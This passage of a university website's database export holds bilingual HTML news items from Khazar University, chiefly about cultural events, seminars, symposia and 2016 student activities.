and&nbsp;Azerbaijan masters in Islamic Culture\"&nbsp;was held. Head of the Department, Elnura Azizova, opened the event and noted that subjects which are taught on the history of Islamic culture and thought&nbsp;at Khazar University&nbsp;have created great interest among students,&nbsp;and&nbsp;this event was organized in order to nurture this interest. Then the students&nbsp;made many interesting and colorful presentations related to artistic spheres such as illumination, line, miniatures, and marbling in&nbsp;Islamic art, their historical development, and their different types.</p><p style=\"text-align:justify\">The second part of the event&nbsp;was a show dedicated to the works of the masters in different fields of Islamic art.&nbsp;In this section, interesting compositions were displayed, such as the famous calligrapher Gulkhan Beydemi’s works combining classic handwriting styles with&nbsp;modern calligraphy, and interesting art works of Vusal Garagashly and Zaur Orucov, who learned the arts of illumination and marbling&nbsp;at Turkey\'s Mimar Sinan University.&nbsp;<br>The development of marbling which was shown by Ebru masters&nbsp;was very interesting for students. At the end of the event,&nbsp;photos were taken of the university staff, students and guest artists.</p><p>&nbsp;<strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Event-Entitled-Fine-Arts-and-Azerbaijani-Masters-in-Islamic-Culture-was-Held_5625.html\" target=\"_blank\">http://old.khazar.org/news/2013/Event-Entitled-Fine-Arts-and-Azerbaijani-Masters-in-Islamic-Culture-was-Held_5625.html</a></strong></p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>6 December 2013</strong></p><p style=\"text-align:justify\"><strong>Iranian Cuisine Day</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 6th, with the joint organization of the Department of Eastern Languages&nbsp;​​and Religious Studies and the Center for Iranian Studies, “Iranian Cuisine Day”&nbsp;was&nbsp; held at Khazar University. This event&nbsp;is part of&nbsp;the \"Eastern hospitality\"&nbsp;series of cultural events.&nbsp;The event was opened by head of Department Elnura Azizova,&nbsp;whonoted&nbsp;that there is a long history of teaching Persian language and literature and research in this field at the university,&nbsp;and&nbsp;as a result of this,&nbsp;students participate in various competitions and programs and&nbsp;have had&nbsp;major achievements. The&nbsp;department&nbsp;has also&nbsp;organized events in various areas related to Iranian culture.</p><p style=\"text-align:justify\">Khazar University’s founder and chairman of the Board of Directors and Trustees, Professor Hamlet Isaxanli,&nbsp;noted that&nbsp;the cultures&nbsp;of the Azerbaijani&nbsp;and Iranian&nbsp;peoples have a large number of common values in various fields,&nbsp;including&nbsp;culinary culture,&nbsp;and there is&nbsp;great importance&nbsp;in the&nbsp;investigation and study of various aspects of Iranian culture for students who&nbsp;are&nbsp;learning&nbsp;the&nbsp;Persian language&nbsp;.</p><p style=\"text-align:justify\">The&nbsp;Ambassador of the Islamic Republic of Iran to Azerbaijan, Pak Ayin,&nbsp;noted that this event is not only&nbsp;promoting the ancient culture of Iranian&nbsp;cuisine,&nbsp;but that&nbsp;it&nbsp;will alsoplay an important role in the development of cultural&nbsp;and friendly relations between&nbsp;the&nbsp;Azerbaijani&nbsp;and&nbsp;Iranian peoples and states.</p><p style=\"text-align:justify\">Different types of&nbsp;traditional Iranian&nbsp;dishes&nbsp;were&nbsp;presented to the staff and students of the university, as well as guests.</p><p>&nbsp;<strong>Event Photos: &nbsp;</strong><a href=\"http://old.khazar.org/news/2013/Iranian-Cuisine-Day_5607.html\" target=\"_blank\">http://old.khazar.org/news/2013/Iranian-Cuisine-Day_5607.html</a></p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>29 November 2013</strong></p><p style=\"text-align:justify\"><strong>Event on \"Azerbaijan Translation of Shahnameh\"</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On November 29, a seminar on “Azerbaijan Translation of Abulgasim Ferdovsi’s Shahnameh Work\" was held at Khazar University. This seminar is part of the series of \"Pearls of Eastern Literature\" which is jointly organized by the Department of Eastern Languages ??and Religious Studies and the Center for Iranian Studies. The event was opened by the head of the department, Elnura Azizova, and gave information about lecturers and the importance of the\"Shahnameh\" to the world\'s literary heritage. Doctor of Philosophy Rustam Lazimov talked about stages in the development of Persian literature &nbsp;and the role of \"Shahnameh\" in the history of Persian literature. Doctor of Philosophy Nushaba Alizadeh gave interesting information about &nbsp;the translation process of \"Shahnameh\" into Azerbaijani and the full publication of the work. At the end of the event, students’ and university employees’ questions about the content, value, influence, and translation of the \"Shahnameh\" were answered.&nbsp;</p><p><strong>Event Photos:&nbsp;</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Sahnamenin-azerbaycanca-tercumesine-dair-tedbir_5585.html\" target=\"_blank\">http://old.khazar.org/news/2013/Sahnamenin-azerbaycanca-tercumesine-dair-tedbir_5585.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>16 November 2013</strong></p><p style=\"text-align:justify\"><strong>Symposium on \"Maraş i</strong><strong>n the Republican Period”</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On November 15-16, an international symposium on&nbsp; \"Maraş in the&nbsp; Republican period” was held in Kahramanmaraş in Turkey.&nbsp;</p><p style=\"text-align:justify\">Khazar University was represented&nbsp;by&nbsp;instructor of the History and Archaeology Department, Doctor in History, Associate Professor David Musalı, and instructor of the Department of Eastern Languages, Doctor in Philology, Ziver Huseynli.&nbsp;The conference was organized by the municipality of Kahramanmaraş.</p><hr><p style=\"text-align:justify\"><strong>17 April 2013</strong></p><p style=\"text-align:justify\"><strong>Branch of the Confucius Institute opened at Khazar University</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On April 17, 2013 at 11:00, with the participation of Hong Tsuyin, Extraordinary and Plenipotentiary Ambassador of People\'s Republic of China to Azerbaijan, the opening ceremony of the branch of BSU Confucius Institute at Khazar University. In connection to this, \"Chinese Culture Day\" was also held in Khazar University. The event, which was coordinated in cooperation with the Eastern Languages ​​and Religious Studies Department of Khazar University and the Confucius Institute, was opened with a speech by the founder of Khazar University and chairman of its Board of Directors and Trustees, Professor Hamlet Isaxanli. H. Isaxanli talked about&nbsp;China\'s role in world culture, how it has become one of the leading forces in the global economy in recent years, relations between China and Azerbaijan, its history and significance, and Chinese language and culture in the globalized world. He stressed that&nbsp;Confucius Institutes have great importance in introducing Chinese culture to the world and&nbsp;establishing cultural, economic and scientific relations between China and other countries. He wished success to the affiliate Branch of BSU Confucius Institute at Khazar University in this area.</p><p style=\"text-align:justify\">Ambassador of the People\'s Republic of China to Azerbaijan, Hong Tsuyin, stressed the importance of the interest in Chinese language and culture and noted this has a big positive impact on multi-faceted cooperation between the two countries.&nbsp; After the speeches of Oktay Calilbeyli and Hu Fanxua, Directors of the Confucius Institute of Baku State University, a bilateral agreement was signed between Khazar University and the Confucius Institute.</p><p style=\"text-align:justify\">Then the guests became acquainted with examples from different attributes of Chinese culture through a calligraphy, fine arts and crafts exhibition, watched a Chinese national dance performed by the dance group consisting of students from Khazar University, and listened to Chinese national songs to the accompaniment of guitar, performed by students.</p><p style=\"text-align:justify\">&nbsp;The second part of the event was held at the Center which has been established for the Khazar&nbsp; Branch of BSU Confucius Institute. Professor Hamlet Isakhanli and Ambassador Hong Tsuyin cut the ribbon at the opening ceremony of the Center and listened to part of a course taught in Chinese by Confucius Institute teaching staff.&nbsp; At the end of the event, photos were taken.</p><p><strong>Event Photos:&nbsp;<a href=\"http://old.khazar.org/news/2013/Branch-of-the-Confucius-Institute-opened-at-Khazar-University_5237.html\" target=\"_blank\">http://old.khazar.org/news/2013/Branch-of-the-Confucius-Institute-opened-at-Khazar-University_5237.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>5 April 2013</strong></p><p style=\"text-align:justify\"><strong>Khazar University Faculty Members at International Symposium</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On April 5, the International Shah Khatai - Sultan Selim Symposium was organized at the Excelsior hotel by ATEV (Azerbaijan - Turkish House).&nbsp; The purpose of the symposium was to discuss one of the controversial moments of the history of the Turkish, Safavid - Ottoman conflict with the participation of Azerbaijani and Turkish scholars and to come a consensus about it.</p><p style=\"text-align:justify\">Instructor of the Department of History and Archaeology of Khazar University, Doctor in History David Musali, reported on \"The Personality of Shah Ismail Khatai\" at the first session of the symposium. He evaluated Shah Ismail\'s role in the history of Azerbaijan and the Turkic world, using original sources to discuss aspects of his multi-faceted personality which combined qualities such as&nbsp;statesman, military leader, athlete, poet and spiritual leader. Another employee of the university, Doctor in Philology Ziver Huseynova, reported on \"The Role of Shah Ismail Khatai in the Development of Azerbaijani Literary Language and literature\" in the symposium.</p><hr><p style=\"text-align:justify\"><strong>9 February 2013</strong></p><p style=\"text-align:justify\"><strong>Chinese New Year Celebration</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On February 9th, a concert in honor of Chinese New Year was held in Khazar University’s “World” Concert Hall at the initiative of the Confucius Institute of the People’s Republic of China in Azerbaijan. The concert was opened by the Vice President of Baku State University, Professor Adil Kazimzadeh, who spoke about the activities of the Confucius Institute.&nbsp; Then the Ambassador of the People’s Republic of China to Azerbaijan, Hong Jiuyin, made a speech about successes achieved in the country during 2012. The founder of Khazar University and chairman of its Board of Directors and Trustees, Professor Hamlet Isaxanli, and Professor Lala Ahmadova of the State Administration Academy of the President of the Azerbaijan Republic made speeches about the role of education in strengthening Azerbaijan/China relations.</p><p style=\"text-align:justify\">After the formal part of the ceremony, the concert began. Students of the BSU Confucius Institute made performances including songs and poetry. They wore Chinese national clothing. Then students of Khazar University and Western University also demonstrated their talents.</p><p>A video clip of the concert may be viewed at this link:&nbsp;<a href=\"https://owa.baku8km.khazar.org/exchweb/bin/redir.asp?URL=http://kanal13.tv/?direct=news%26id=2145\" target=\"_blank\">http://kanal13.tv/?direct=news&amp;id=2145</a></p><p><strong>Event Photos:&nbsp;</strong><strong><a href=\"http://old.khazar.org/news/2013/Chinese-New-Year-Celebration_5103.html\" target=\"_blank\">http://old.khazar.org/news/2013/Chinese-New-Year-Celebration_5103.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>24 December 2012</strong></p><p style=\"text-align:justify\"><strong>“Let’s learn world religions for a better world” Event Series</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 17-24, as organized by the Department of Eastern Languages ​​and Religious Studies of Khazar University, 4 presentations of a series of programs called “Let’s learn world&nbsp;religions for a better world” were held. University staff, faculty and students, as well as representatives of religious communities registered in the Azerbaijan Republic and other guests participated in the meeting.</p><p style=\"text-align:justify\">Department of Eastern Languages ​​and Religious Studies, Dr. Elnura Azizova, gave information about the program goals and objectives at the first presentation on \"From religion to culture: Judaism \" which was held on December 17 during this program. She noted that the main objective of the program was informing students about the great world religions and developing their tolerance for religious and cultural differences. Then participants become familiar with the materials enriched with visual aids related to the history of Judaism, belief systems, the rules of worship, moral and philosophical views, main trends, social structures, holidays and festivals, and traditions. Member of Baku Jewish community, Senor Rabbi Segal, gave information about national and religious holidays and special days of&nbsp; Judaism. Another guest at the event, Chairman of the Mountain Jews community, Milih Yevdayev, spoke about settling in Azerbaijan, history and the modern situation of the Mountain Jews. The presentation was not only limited to theoretical information; the various attributes associated with the religion and culture of the Jews were also demonstrated. Participants listened to music in Hebrew performed by students of the university and tried some of food representing Jewish cuisine.</p><p style=\"text-align:justify\">On December 19, at the second presentation entitled \"From religion to culture: Christianity,” participants got information about the history of&nbsp; Christianity, the system of belief/ worship, the main moral and philosophical views, the social structure, traditions and festivals, which was accompanied by visual aids. The participants’ questions related to the topic were answered.</p><p style=\"text-align:justify\">At the third presentation entitled \"From religion to culture: Hinduism\" within the program, which was held on December 21, participants were enlightened about the history and development of the process, sacred texts, basic beliefs and worships, ethics, and most important categories of thinking of Hinduism, which is considered one of the world\'s oldest religions.</p><p style=\"text-align:justify\">Member of the International Society for Krishna Consciousness, Ramil Aliyev, made a presentation about topic and answered questions. With the students\' performance with Indian clothes, singing songs to the accompaniment of Indian musical instruments, following the presentation of the offering some meals and sweets of Indian cuisine, the program truly ended in an \"Indian culture day\" mood.</p><p style=\"text-align:justify\">On December 24, the last event of the program, \"From religion to culture: Buddhism,\" was presented. Theoretical information and visual aids about&nbsp;the creation and dissemination process of Buddhism, the main ideas of belief and worship, the main moral and philosophical views, specific aspects of the system of Buddhist thought, traditions, and special days and festivals was given at the presentation. After the presentation, participants’ questions related to the topic were answered. At the end of the event, E. Azizova noted that new events related to other religions and trends were planned by the department in the near future.</p><p style=\"text-align:justify\"><strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2012/-Lets-learn-world-religions-for-a-better-world-Event-Series_5044.html\" target=\"_blank\">http://old.khazar.org/news/2012/-Lets-learn-world-religions-for-a-better-world-Event-Series_5044.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>17 October 2012</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Opening of Korea Center was held at Khazar University</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On October 17, 2012, the opening of the&nbsp;Korea Center and an exhibition dedicated to \"Korean Alphabet Day\" was held at Khazar &nbsp;University. &nbsp; Along with Khazar Employees, representatives of the Embassy of the Republic of Korea, representatives of the Korean community, and Korean businessmen participated in the event.</p><p style=\"text-align:justify\">The opening of the Korean Center, founded at the university with the joint support of Khazar University and the Embassy of the Republic of Korea, started with the opening speeches of the founder of Khazar University and chairman of its Board of Directors and Trustees, Professor Hamlet Isaxanli, and Extraordinary and Plenipotentiary Ambassador of the Korean Republic to the Republic of Azerbaijan, Mr. Cho Suk-Inn. &nbsp;Professor Hamlet Isaxanli mentioned in his opening speech that the Korean language has a special place among \"The languages assuming strategic importance\" which is have great importance in their study at Khazar University, and noted that in the future, along with the Korean language, the center will assume a great importance in the study of the history, literature and culture of this country. Then, as the organizer of the event, Head of Department of Eastern Languages and Religious Studies Elnura Azizova reported on \"Korean language and culture at “Khazar.”</p><p style=\"text-align:justify\">Despite the fact that the Korean language has been taught in the department for two years, a series of events entitled \"Korean Culture Days\" has been planned for the current academic year,&nbsp; and the \"Korean alphabet day\" exhibition is a first step in this direction. The founder of teaching Korean language at Khazar University, Younhong Lee, noted that in the fall of 2011 when he began teaching the subject, he didn’t expect that students and the university would show such a great interest in it and carry it forward to such levels.</p><p style=\"text-align:justify\">Then the university students offered the participants pleasant surprises by showing examples of Korean poetry and music. After the opening of the Korean Center, participants were invited to&nbsp; the exhibition dedicated to the \"Korean Alphabet Day\". The exhibition, which demonstrated&nbsp; national clothes, musical instruments, and handicrafts&nbsp; belonging to Korean people and culture, were very interesting to the participants. Each of the two amazing events&nbsp;were met with the satisfaction of the participants.</p><p style=\"text-align:justify\">In the near future, the Department of Eastern Languages and Religious Studies &nbsp;will organize a \"Korean cuisine\" event as a continuation of the \"Korean Culture Days\" series.</p><p style=\"text-align:justify\"><strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2012/Opening-of-Korea-Center-was-held-at-Khazar-University_916.html\" target=\"_blank\">http://old.khazar.org/news/2012/Opening-of-Korea-Center-was-held-at-Khazar-University_916.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>6 December 2012</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Our Employee Attends International Symposium</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On October 4-6, in the international scientific symposium \"Marash during the Ottoman period\" held by the municipality of Kahramanmaraş, in the city of Kahramanmaraş, Turkey, Persian language instructor of Khazar University, PhD Ziver Huseynli, reported on \"Two historical works from Marash writers belonging to the Safavid period.\"</p><p style=\"text-align:justify\">History instructor at the Khazar University, Dr. Namiq Musali, and a senior scientific worker of ANAS, PhD Elmira Mammadova, also participated in the symposium, which was held in order to investigate the history and culture of Marash during the Ottoman period.</p><p style=\"text-align:justify\"><strong>Event Photos:&nbsp;<a href=\"http://old.khazar.org/news/2012/article_942.html\">http://old.khazar.org/news/2012/article_942.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>28 September 2012</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Our Employees Participate in International Turkish Congress</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On September 24-28, the VII International Turkish Language Congress was organized in Ankara Bilkent Hotel and Conference Center by Turkish Language Institution.</p><p style=\"text-align:justify\">Delegates from 25 countries attended the congress.&nbsp; The Turkish Language Institution was created in 1932 with&nbsp; the initiative and help of Atatürk. Within 80 years of its existence, it achieved great success.</p><p style=\"text-align:justify\">On September&nbsp; 24,&nbsp; the opening ceremony of the VII&nbsp; International Turkish Language Congress, which is organized every four years on an international level by Turkish Language Institution, was held at Sakarya Hall. After playing the National Anthem at the opening ceremony, a film was shown in the congress. Then Head of the Turkish Language Society&nbsp;<em>Mustafa Kaçalin, representative of Ataturk Culture</em>,&nbsp;<em>Language and History Organization,</em>&nbsp;Nazif Öztürk, assistant Prime Minister, Bülend Arınc, and Chairman of the Grand National Assembly of Turkey Cemil Çiçek made presentations.&nbsp;</p><p style=\"text-align:justify\">After the opening ceremony, the congress continued its work in committees, and 205 scientific lectures were read.</p><p style=\"text-align:justify\">A group of Azerbaijani linguists, including instructors of Khazar University Elza Ismailova and Ziver Huseynova, participated in the congress. Eliza Ismayilova reported on Turkish-origin archaisms in the&nbsp;<em>Koroghlu</em>&nbsp;epos (Based on the Vali Khuluflu version), and Ziver Huseynova reported on \"Social terms which passed from Turkish to the Persian language during the Safavid period.”</p><p style=\"text-align:justify\">&nbsp;On September 27, the congress finished with a closing and evaluation ceremony. A concert program consisting of Turkish folk songs was also given in the ceremony.</p><p style=\"text-align:justify\">On September 28, congress members traveled to the Urgup-Goreme region.</p><p><strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2012/Our-Employees-Participate-in-International-Turkish-Congress_960.html\">http://old.khazar.org/news/2012/Our-Employees-Participate-in-International-Turkish-Congress_960.html</a></p>'),(2756,1646,'az','“Gənc mühəndislər” beton zavodunda oldular','2016-cı il noyabrın 26-da Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsi inşaat mühəndisliyi ixtisasının tələbələri bir günlük “AS İnşaat” beton zavodunda ekskursiyada oldular....','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il noyabrın 26-da Xəzər\r\nUniversiteti Mühəndislik və tətbiqi elmlər fakültəsi inşaat mühəndisliyi ixtisasının tələbələri bir\r\ngünlük “AS İnşaat”  &nbsp;beton zavodunda\r\nekskursiyada oldular. Həmin gün zavodun ümumi iş prinsipi, avadanlıq, texnika,\r\nbetonun hazırlanmasında istifadə olunan materiallarla və laboratoriya ilə ətraflı\r\ntanış oldular. İstehsalat şəraitində müxtəlif markalı betonların tərkibinin\r\nlahiyələndirilməsi prinsipini öyrəndilər.</p>'),(2757,1646,'en','Young Engineers Visit Cement Factory','On November 26, 2016, civil engineering majors of the Khazar University School of Engineering and Applied Science visited AS Construction cement factory for one day...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On November 26, 2016, civil engineering\r\nmajors of the Khazar University School of Engineering and Applied Science\r\nvisited AS Construction cement factory for one day. They learned about the\r\nfactory’s work processes, equipment, technology, materials used to manufacture\r\ncement, and the laboratory. They also learned about the principles of\r\nformulating the contents of various brands of cement for production.&nbsp;</p>'),(2758,1647,'en','Staff Training Week at Middlesex University','On November 28-December 2, 2016, a Staff Training Week was held at Middlesex University in London, within the Erasmus + Programme...','<p>On November 28-December 2, 2016, a Staff Training Week was held at Middlesex University in London, within the Erasmus + Programme.&nbsp;<br><br>Participants from Khazar University included Turan Jafarova, Director of the International Affairs Office and Rima Mammadova, Project Coordinator. While at Middlesex, Khazar staff members also met with a PhD candidate of the University who is currently doing an exchange semester in the UK within the Erasmus + programme.<br><br>Topics covered by the training included student and staff mobility, staff development, student employability skills, capacity building projects, recognition and accreditation in higher education, and others. Staff Training Week also included a \"Go Abroad Fair\" which provided an opportunity to present Khazar University to the students and staff of Middlesex University.</p><p>The Staff Training Week brought together around 50 participants from higher education institutions of more than 15 countries for networking and best practices sharing.</p>'),(2759,1647,'az','Middlesex Universitetində Erasmus+ proqramı çərçivəsində təlim keçirildi','2016-cı il noyabrın 28-dən dekabrın 2-dək Erasmus+ proqramı çərçivəsində Middlesex universitetində partnyor universitetlərin əməkdaşları üçün bir hətəlik təlim təşkil edilmişdir...','<p>Middlesex Universitetində Erasmus+\r\nproqramı çərçivəsində təlim keçirildi</p>\r\n<p>2016-cı il\r\nnoyabrın 28-dən dekabrın 2-dək Xəzər Universitetinin nümayəndələri Erasmus+ proqramı\r\nçərçivəsində Middlesex Universitetində (London, Böyük Britaniya) partnyor\r\nuniversitetlərin əməkdaşları üçün keçirilən təlimdə iştirak etdilər.</p>\r\n<p>Bu tədbirdə Xəzər Universitetini Beynəlxalq\r\nƏlaqələr Şöbəsinin direktoru Turan Cəfərova və layihələr üzrə koordinator Rima\r\nMəmmədova təmsil edirdilər.</p>\r\n<p>Təlimdə tələbə və\r\nişçi heyətinin mobilliyi, işçi heyətinin inkişafı, tələbələrin iş bacarıqları,\r\npotensial kard quruculuğu, ali təhsil müəssisələrində tanınma və akkreditasiya\r\nvə digər bir sıra məsələlər müzakirə olundu. Bu tədbir çərçivəsində keçirilən\r\n“Xaricdə təhsil sərgisi” Xəzər Universitetini Middlesex Universitetinin tələbə\r\nvə işçi heyətinə təqdim etməyə də imkan yaratdı. Xəzər Universitetinin nümayəndələri\r\nhazırda Middlesex Universitetində Erasmus+ proqramı ilə mübadilədə iştirak edən\r\ndoktorantımız ilə də görüşdü.</p>\r\n<p>Bu tədbirdə 15-dən\r\nçox ölkənin ali təhsil müəssisələrindən 50-ə yaxın iştirakçı öz təcrübələrini\r\ndigərləri ilə bölüşdü.</p>'),(2760,1648,'en','National Spaghetti Bridge Competition to be held','On December 26, 2016 at 14:00 in Khazar University’s Marble Hall (Neftchilar Campus), the Annual National Spaghetti Bridge Competition will be held...','<p>On December 26, 2016 at 14:00 in Khazar University’s Marble\r\nHall (Neftchilar Campus), the Annual National Spaghetti Bridge Competition will\r\nbe held. </p>\r\n<p>This competition is held between student teams in all\r\nengineering fields from around Azerbaijan to develop their knowledge,\r\nexperience, effort, wisdom and teamwork and also to introduce the field of\r\nengineering to the public. Everyone is invited to spectate.</p>\r\n<p>Students who want to participate in the competition should\r\nread the rules carefully and contact Ali Atefi, the coordinator of the\r\ncompetition. (email: <a href=\"mailto:aatefi@khazar.org\">aatefi@khazar.org</a>)&nbsp;</p><p><a href=\"/files/pdf/events/Khazar%20Spaghetti%20Bridge%20Competition.pdf\">Spaghetti Bridge Contest&nbsp;Rules and Regulations</a></p>'),(2762,1649,'en','Conference on Modern Academic Music at Khazar ','On December 3, 2016 at 14:00, an event entitled “Conference on Modern Academic Music: Development and prospects. The preservation and development of musical diversity...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On December 3, 2016 at 14:00, an event entitled\r\n“Conference on Modern Academic Music: Development and prospects. The\r\npreservation and development of musical diversity based on the example of\r\nprotecting copyrights” will be held in the Marble Hall of Khazar University’s\r\nNeftchilar Campus. The conference is jointly organized by Turksoy, Khazar\r\nUniversity, and Azerbaijani Authors’ Society.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Everyone is welcome to attend.&nbsp;</p>'),(2763,1650,'az','Xəzər Universitetinin kamera orkestri qala konsertində','2016-cı il dekabrın 3-ü saat 19:00-da Müslüm Maqomayev adına Azərbaycan Dövlət Filharmoniyasında Azərbaycan Respulikası Mədəniyyət və Turizm Nazirliyi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 3-ü saat 19:00-da Müslüm Maqomayev adına Azərbaycan Dövlət\r\nFilharmoniyasında Azərbaycan Respulikası Mədəniyyət və Turizm Nazirliyi,\r\nTÜRKSOY, Xəzər Universiteti, Azərbaycan Müəllifləri Birliyinin birgə təşkillatçılığı\r\nvə Xəzər Universitetinin kamera orkestrinin ifası ilə “Türk dövlətlərinin müstəqilliyinin\r\n25-ci ildönümünə həsr edilmiş qala konsert” keçiriləcək. Azərbaycan, Rusiya,\r\nQazaxıstan, Qırğızıstan, Özbəkistan, Türkmənistan respulikalarının bəstəkarlarının\r\niştirakı ilə keçirilən tədbir Azərbaycan Respulikasının dövlət müstəqilliyinin\r\nbərpasının, Qazaxstan, Qırğızıstan, Özbəkistan, Türkmənistan respulikalarının\r\nmüstəqillik əldə etməsinin 25-ci ildönümü münasibətilə keçirilir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İştirak\r\netmək istəyənlər dəvətlidir.</p>'),(2764,1650,'en','Khazar University Chamber Orchestra in Gala Concert','On December 3, 2016 at 19:00, Khazar University’s Chamber Orchestra will perform in a Gala Concert in the Muslum Magomayev Azerbaijan State Philharmonic...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On December 3, 2016 at 19:00, Khazar University’s Chamber Orchestra will\r\nperform in a Gala Concert in the Muslum Magomayev Azerbaijan State Philharmonic\r\ndedicated to the 25th anniversary of the independence of Turkic states. The\r\nconcert is jointly organized by the Ministry of Culture and Tourism of the\r\nAzerbaijan Republic, Turksoy, Khazar University, and Azerbaijani Authors’\r\nSociety. Participants in the event will include composers from Azerbaijan,\r\nRussia, Kazakhstan, Kyrgyzstan, Uzbekistan, and Turkmenistan, and the event is\r\ndedicated to the 25th anniversaries of the independence of those countries as\r\nwell as the 25th anniversary of the restoration of Azerbaijan’s independence. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">All who wish to attend are welcome.</p>'),(2765,1651,'az','Tələbəmizin şeir təqdimatı','Noyabrın 25-də Xəzər Universitetində Humanitar və sosial elmlər fakültəsinin 1-ci kurs tələbəsi Yaqub Teymurov şeirlərini tələbə dostlarına təqdim etdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt;line-height:normal\"\"=\"\">Noyabrın 25-də\r\nXəzər Universitetində Humanitar və sosial elmlər fakültəsinin 1-ci kurs tələbəsi Yaqub Teymurov şeirlərini tələbə dostlarına təqdim etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">Universitetin\r\nmüəllimi, tədbirin qonağı olan fəlsəfə doktoru Mail Yaqubov klassik Azərbaycan ədəbiyyatından\r\nbir neçə şeir söylədi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">Tədbirdə tələbələrin\r\nsualları da cavablandırıldı.</p>'),(2766,1651,'en','Student’s Poetry Presentation','On November 25, 2016, Yagub Teymurov, first-year student of the School of Humanities and Social Sciences, made a presentation of his poetry to his fellow students...','<p margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); background-repeat: no-repeat; background-position: right top; border: 1px dotted rgb(153, 204, 255);\">On November 25, 2016, Yagub Teymurov, first-year student of the School of Humanities and Social Sciences, made a presentation of his poetry to his fellow students.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); background-repeat: no-repeat; background-position: right top; border: 1px dotted rgb(153, 204, 255);\">Dr. Mail Yagubov, university instructor and guest of the event, also recited several poems from classic Azerbaijani literature.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); background-repeat: no-repeat; background-position: right top; border: 1px dotted rgb(153, 204, 255);\">The event ended with a question-and-answer session.&nbsp;</p>'),(2767,1652,'az','Xəzər Universitetində “Əlçatan təhsil –Əlçatan gələcək” adlı təlim keçirildi','2016-cı il dekabrın 2-si və 3-də Xəzər Universitetində Azərbaycan Respublikasının Prezidenti yanında Gənclər Fondunun maliyyə, Y-PEER Azərbaycan şəbəkəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 2-si və 3-də Xəzər Universitetində Azərbaycan Respublikasının\r\nPrezidenti yanında Gənclər Fondunun maliyyə, Y-PEER Azərbaycan şəbəkəsinin və Xəzər\r\nUniversitetinin Əlilliyi olan Tələbələr Mərkəzinin təşkilatı dəstəyi ilə\r\n“Əlçatan təhsil –Əlçatan gələcək” layihəsi çərçivəsində təlim keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimin\r\nməqsədi inklüziv təhsillə bağlı məlumatlandırma, əlilliyi olan uşaqlarla işləyərkən,\r\nonlara olan düzgün pedaqoji yanaşma və davranışın inkişaf etdirilməsi idi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimdə\r\nözünü potensial təlimçi və ya təhsil işçisi kimi görənlər, əlilliyi olan\r\nuşaqlarla çalışarkən yeni yanaşma və bacarıqları öyrənmək istəyən 18-25 yaş\r\narası gənclər iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlim\r\nzamanı əlilliyi olan şəxslərin yaşadığı çətinlikləri hiss etmək, onları daha\r\nyaxşı anlamaq üçün müxtəlif oyunlar keçirildi, səhnəciklər göstərildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimin\r\nsonunda iştirakçılara 